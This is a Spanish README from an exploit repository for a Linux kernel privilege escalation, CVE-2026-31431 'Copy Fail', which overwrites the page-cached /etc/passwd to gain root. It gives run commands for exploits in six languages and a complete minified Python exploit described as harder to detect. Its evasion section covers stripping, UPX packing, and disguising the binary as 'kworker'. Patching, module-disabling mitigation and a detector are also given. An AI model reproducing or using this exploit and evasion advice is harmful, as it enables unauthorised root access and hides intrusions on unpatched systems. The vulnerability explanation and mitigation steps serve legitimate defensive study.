## https://sploitus.com/exploit?id=30B66610-99F8-5D0B-8A5B-3BAAB085E357
# CVE-2026-31431 — Copy Fail
> **Repo educativo con implementaciones en múltiples lenguajes del exploit Copy Fail.**
> Creado y mantenido por [@shotafry](https://github.com/shotafry) — porque leer el CVE no es suficiente. Hay que reproducirlo.
---

> 📖 [Read this in English](README_ENGLISH.md)
---
## Índice
- [¿Qué es Copy Fail?](#qué-es-copy-fail)
- [¿Quién lo descubrió?](#quién-lo-descubrió)
- [Gravedad y CVSS](#gravedad-y-cvss)
- [¿Cómo funciona?](#cómo-funciona)
- [Requisitos](#requisitos)
- [Implementaciones disponibles](#implementaciones-disponibles)
- [Uso por lenguaje](#uso-por-lenguaje)
- [Verificación del sistema](#verificación-del-sistema)
- [¿Qué pasa exactamente al ejecutarlo?](#qué-pasa-exactamente-al-ejecutarlo)
- [Uso en CTFs y entornos de prueba](#uso-en-ctfs-y-entornos-de-prueba)
- [Ofuscación — variantes silenciosas](#ofuscación--variantes-silenciosas)
- [Mitigación y parche](#mitigación-y-parche)
- [Estructura del repo](#estructura-del-repo)
- [Aviso legal](#aviso-legal)
---
## ¿Qué es Copy Fail?
**Copy Fail** es una vulnerabilidad de escalada de privilegios local (LPE) en el kernel de Linux, catalogada como **CVE-2026-31431**. Afecta al subsistema criptográfico del kernel, concretamente al módulo `algif_aead` que gestiona las operaciones de cifrado autenticado (AEAD) a través de sockets `AF_ALG`.
El fallo fue introducido en **2017** en una optimización del módulo `authencesn` y permaneció sin detectarse durante casi 9 años, presente en prácticamente todas las distribuciones Linux modernas.
Lo que hace especial a Copy Fail respecto a otros LPEs históricos:
| Característica | Copy Fail | LPE típico |
|---|---|---|
| Necesita race condition | ❌ No | ✅ Sí |
| Necesita offset específico del kernel | ❌ No | ✅ Sí |
| Funcional en todas las distros | ✅ Sí | ❌ Normalmente no |
| Fiabilidad | 100% determinista | Variable |
| Modifica el disco | ❌ No (solo RAM) | Depende |
---
## ¿Quién lo descubrió?
La vulnerabilidad fue descubierta por **Taeyang Lee** del equipo de investigación de **Theori**. La cadena de exploit completa fue desarrollada por el equipo **Xint Code Research**, que documentó el proceso usando análisis asistido por IA sobre el subsistema `crypto/` del kernel de Linux.
La divulgación pública incluye PoC funcional, análisis técnico completo y documentación en [copy.fail](https://copy.fail).
---
## Gravedad y CVSS
```
CVE: CVE-2026-31431
CVSS: 7.8 — ALTA
Vector: Local
Impacto: Escalada de privilegios completa (root)
Distros: Todas las distribuciones Linux con kernel >= 2017 sin parchear
```
El CVSS es 7.8 y no llega a crítico (9+) únicamente porque requiere acceso local previo — el atacante ya debe tener una sesión en el sistema. En entornos cloud y con contenedores Docker, este requisito es considerablemente más fácil de cumplir de lo que parece.
---
## ¿Cómo funciona?
### La page cache del kernel
El kernel de Linux guarda en RAM los ficheros que ha leído recientemente. A esto se le llama **page cache**. Cuando un proceso lee `/etc/passwd`, el kernel no va al disco — sirve la copia en RAM. Esto es más rápido, pero crea una superficie de ataque: si puedes modificar esa copia en RAM sin tocar el disco, el sistema verá datos falsos.
### El bug en algif_aead
El módulo `algif_aead` permite hacer operaciones AEAD desde espacio de usuario a través de sockets `AF_ALG`. El bug está en la optimización introducida en 2017: cuando se usa `splice()` para pasar páginas de un fichero al socket, esas páginas de la page cache acaban en la lista de dispersión **destino** (escribible) de la operación criptográfica.
Resultado: cualquier usuario sin privilegios puede escribir **4 bytes controlados** en cualquier fichero que pueda leer, sin tocar el disco.
### El flujo de explotación
```
Usuario sin privilegios
│
▼
Abre socket AF_ALG (authencesn)
│
▼
sendmsg() — parámetros AEAD con nuestros 4 bytes en seqno_lo
│
▼
splice() — fichero → pipe → socket op
[BUG] La page cache del fichero queda en el scatterlist destino
│
▼
recv() dispara la operación AEAD
La auth falla (EBADMSG) pero el scratch-write ya ocurrió
│
▼
/etc/passwd (page cache) ahora dice: usuario → UID 0
│
▼
su → PAM valida contraseña real → setuid(0) → ROOT
```
### Analogía sencilla
Imagina que el kernel tiene un libro de registros del castillo (`/etc/passwd`). Copy Fail es como descubrir que si abres el taller de magia del castillo en un orden muy concreto, el libro de registros accidentalmente se queda sobre tu mesa de trabajo — y puedes cambiar tu rango de "soldado raso" a "rey" con un bolígrafo. El archivero (PAM) comprueba tu contraseña pero no comprueba el libro original, solo la copia que tienes delante. Eres rey.
---
## Requisitos
### Del sistema objetivo
- Linux kernel `>= ~2017` sin el parche de CVE-2026-31431
- Módulo `algif_aead` disponible y cargable
- UID de 4 dígitos (1000–9999) — estándar en todas las distros
### Verificación rápida
```bash
# Ver versión del kernel
uname -a
# Comprobar si el algoritmo está disponible
grep -i authencesn /proc/crypto
# Comprobar si el módulo está cargado
lsmod | grep alg
```
Si `grep -i authencesn /proc/crypto` devuelve `authencesn(hmac(sha256),cbc(aes))`, el sistema es vulnerable.
### Por lenguaje
| Lenguaje | Requisito en el objetivo | Compilación previa |
|---|---|---|
| C | Ninguno (binario estático) | `gcc` en máquina de compilación |
| Python | Python 3.10+ | No |
| Rust | Ninguno (binario estático) | `rustc` en máquina de compilación |
| Go | Ninguno (binario estático) | `go` en máquina de compilación |
| Ruby | Ruby + gem `fiddle` (incluido por defecto) | No |
| Perl | Perl 5 (incluido en prácticamente todo Linux) | No |
---
## Implementaciones disponibles
Este repositorio contiene el exploit implementado en **6 lenguajes**, todos funcionalmente equivalentes, con comentarios educativos en castellano.
```
copy_fail_exploit.c → C — binario estático, cero dependencias
copy_fail_exploit.py → Python — más legible, ideal para aprender
copy_fail_exploit.rs → Rust — la ironía: lenguaje "seguro" explota kernel
copy_fail_exploit.go → Go — binario estático, muy portable
copy_fail_exploit.rb → Ruby — omnipresente en servidores Rails
copy_fail_exploit.pl → Perl — el más silencioso, está en todo Linux
test_cve_2026_31431.py → Detector — verifica vulnerabilidad sin explotar nada
```
---
## Uso por lenguaje
### Detector (primero siempre esto)
```bash
python3 test_cve_2026_31431.py
```
- Exit 0 → NO vulnerable
- Exit 2 → VULNERABLE
- Exit 1 → Error en la prueba
---
### C
```bash
# Compilar
gcc copy_fail_exploit.c -o copy_fail_c
# Dry-run (limpia al salir, no deja rastro)
./copy_fail_c
# Exploit completo
./copy_fail_c --shell
```
---
### Python
```bash
# Dry-run
python3 copy_fail_exploit.py
# Exploit completo
python3 copy_fail_exploit.py --shell
```
---
### Rust
```bash
# Compilar
rustc copy_fail_exploit.rs -o copy_fail_rs
# Dry-run
./copy_fail_rs
# Exploit completo
./copy_fail_rs --shell
```
---
### Go
```bash
# Compilar
go build -o copy_fail_go copy_fail_exploit.go
# Dry-run
./copy_fail_go
# Exploit completo
./copy_fail_go --shell
```
---
### Ruby
```bash
# Dry-run
ruby copy_fail_exploit.rb
# Exploit completo
ruby copy_fail_exploit.rb --shell
```
---
### Perl
```bash
# Dry-run
perl copy_fail_exploit.pl
# Exploit completo
perl copy_fail_exploit.pl --shell
```
---
### Instalación de lenguajes (si no los tienes)
```bash
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (suele venir preinstalado en Kali)
apt install ruby
# Perl (prácticamente siempre presente)
perl --version
```
---
## Verificación del sistema
Una vez lanzado el exploit (antes del `su`), puedes verificar visualmente el cambio en la page cache con:
```bash
# Terminal 1: monitorización en tiempo real
watch -n 0.5 'grep tuusuario /etc/passwd'
# Terminal 2: lanzar el exploit
python3 copy_fail_exploit.py --shell
```
Verás cómo el campo UID cambia de `1000` a `0000` en tiempo real. Después del `su`:
```bash
id
# uid=0(root) gid=0(root) groups=0(root)
```
Para limpiar sin reiniciar (desde la shell root):
```bash
echo 3 > /proc/sys/vm/drop_caches
```
---
## ¿Qué pasa exactamente al ejecutarlo?
```
[*] CVE-2026-31431 LPE usuario=shotafry uid=1000
[*] /etc/passwd: usuario 'shotafry' — campo UID en offset 3118 = '1000'
[*] Aplicando write4: '1000' -> '0000' en la page cache...
[+] Page cache ahora muestra UID 0 en offset 3118
[+] /etc/passwd (page cache) ahora lista a shotafry como UID 0
[+] Ejecuta: su shotafry
[+] Introduce tu contraseña. su hará setuid(0) → shell root.
```
El disco **nunca** se modifica. Un reinicio o `drop_caches` restaura todo al estado original.
---
## Uso en CTFs y entornos de prueba
Copy Fail es relevante en cualquier CTF o laboratorio de privesc en Linux donde el kernel no esté parcheado.
### Consideraciones para CTFs
- **Verifica el kernel primero** con el script detector antes de intentar el exploit
- **El dry-run no deja rastro** — úsalo para confirmar vulnerabilidad sin romper el sistema
- **El módulo `algif_aead` puede estar desactivado** en entornos hardened — si el detector falla en el paso de AF_ALG, busca otro vector
- **seccomp profiles** pueden bloquear las syscalls necesarias en algunos contenedores — en ese caso el exploit no funciona aunque el kernel sea vulnerable
### Flujo recomendado para CTF
```bash
# 1. Comprobar kernel
uname -a
# 2. Detector
python3 test_cve_2026_31431.py
# 3. Si vulnerable, exploit
python3 copy_fail_exploit.py --shell
# 4. Limpiar después
echo 3 > /proc/sys/vm/drop_caches
```
---
## Ofuscación — variantes silenciosas
Las implementaciones de este repo están comentadas y son verbosas por diseño educativo. En un contexto de pentesting real, querrás versiones más silenciosas.
### Principios de ofuscación
El exploit en su núcleo son 5 syscalls: `socket`, `bind`, `setsockopt`, `sendmsg`, `splice`. Todo lo demás es cosmético. Una versión silenciosa elimina todo el output y minimiza el código al mínimo funcional.
### Ejemplo — Python minificado
```python
# Versión compacta sin output — misma funcionalidad, menor superficie de detección
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
```
> ⚠️ Nota: los antivirus y EDRs detectan patrones de ofuscación (imports comprimidos, nombres de función de un carácter, zlib+hex encadenado). Un binario C compilado estáticamente sigue siendo la opción más silenciosa en entornos monitorizados.
### Técnicas de evasión adicionales
- **Binario C con `strip`**: `gcc exploit.c -o exploit && strip exploit` — elimina símbolos de debug
- **UPX**: `upx --best exploit` — comprime el binario, cambia su firma
- **Renombrar el binario**: llamarlo `kworker` o `systemd-helper` para que pase desapercibido en `ps`
---
## Mitigación y parche
### Solución definitiva
```bash
# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/CentOS/Fedora
dnf update
# Arch
pacman -Syu
```
### Mitigación de emergencia (sin reinicio)
Si no puedes parchear inmediatamente, desactiva el módulo vulnerable:
```bash
# Desactivar el módulo
rmmod algif_aead 2>/dev/null
# Evitar que se cargue en el futuro
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
```
### Verificar si estás parcheado
```bash
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
```
### Para entornos Docker
El parche debe aplicarse en el **kernel del host** — los contenedores comparten el kernel y no están aislados de esta vulnerabilidad. Actualizar solo la imagen del contenedor no protege de nada.
---
## Estructura del repo
```
CVE-2026-31431-Copy-Fail/
├── README.md ← Este fichero (ES)
├── README_ENGLISH.md ← Versión en inglés
├── copy_fail_exploit.c ← Exploit en C
├── copy_fail_exploit.py ← Exploit en Python
├── copy_fail_exploit.rs ← Exploit en Rust
├── copy_fail_exploit.go ← Exploit en Go
├── copy_fail_exploit.rb ← Exploit en Ruby
├── copy_fail_exploit.pl ← Exploit en Perl
├── test_cve_2026_31431.py ← Detector (safe, no modifica nada)
└── assets/
├── banner.png ← Infografía del exploit
├── demo_python.png ← Captura del exploit Python en acción
├── demo_rust.png ← Captura del exploit Rust
└── vulnerable_output.png ← Output del detector en sistema vulnerable
```
---
## [ shotafry note ]
> Mientras todo el mundo publicaba este CVE con un párrafo generado por IA y un enlace al repo oficial, me pasé el día estudiándolo de verdad: leyendo el código del kernel, entendiendo la page cache, reproduciendo el exploit en laboratorio, y luego portándolo a 6 lenguajes diferentes para entender exactamente qué está pasando en cada capa.
>
> La versión en Rust es mi favorita. Usas el lenguaje más obsesionado con la seguridad de memoria para explotar un fallo en el kernel escrito en C. La ironía se explica sola.
>
> Este repo existe porque creo que la diferencia entre un profesional de seguridad y alguien que solo comparte posts está en si realmente te has sentado a reproducir las cosas.
---
## Referencias
- [copy.fail](https://copy.fail) — Sitio oficial de la vulnerabilidad
- [NVD CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)
- Kernel commit original (2017) — módulo `authencesn` / `algif_aead`
---
## Aviso legal
Este repositorio es exclusivamente para uso educativo, investigación en seguridad y pruebas en sistemas propios o con autorización explícita por escrito.
El uso de estas herramientas contra sistemas sin autorización es ilegal en la mayoría de jurisdicciones. El autor no se hace responsable del mal uso de este material.
**Prueba solo en lo que es tuyo o tienes permiso para auditar.**
---
*Hecho con curiosidad, laboratorio, y demasiado café.*
*[@shotafry](https://github.com/shotafry)*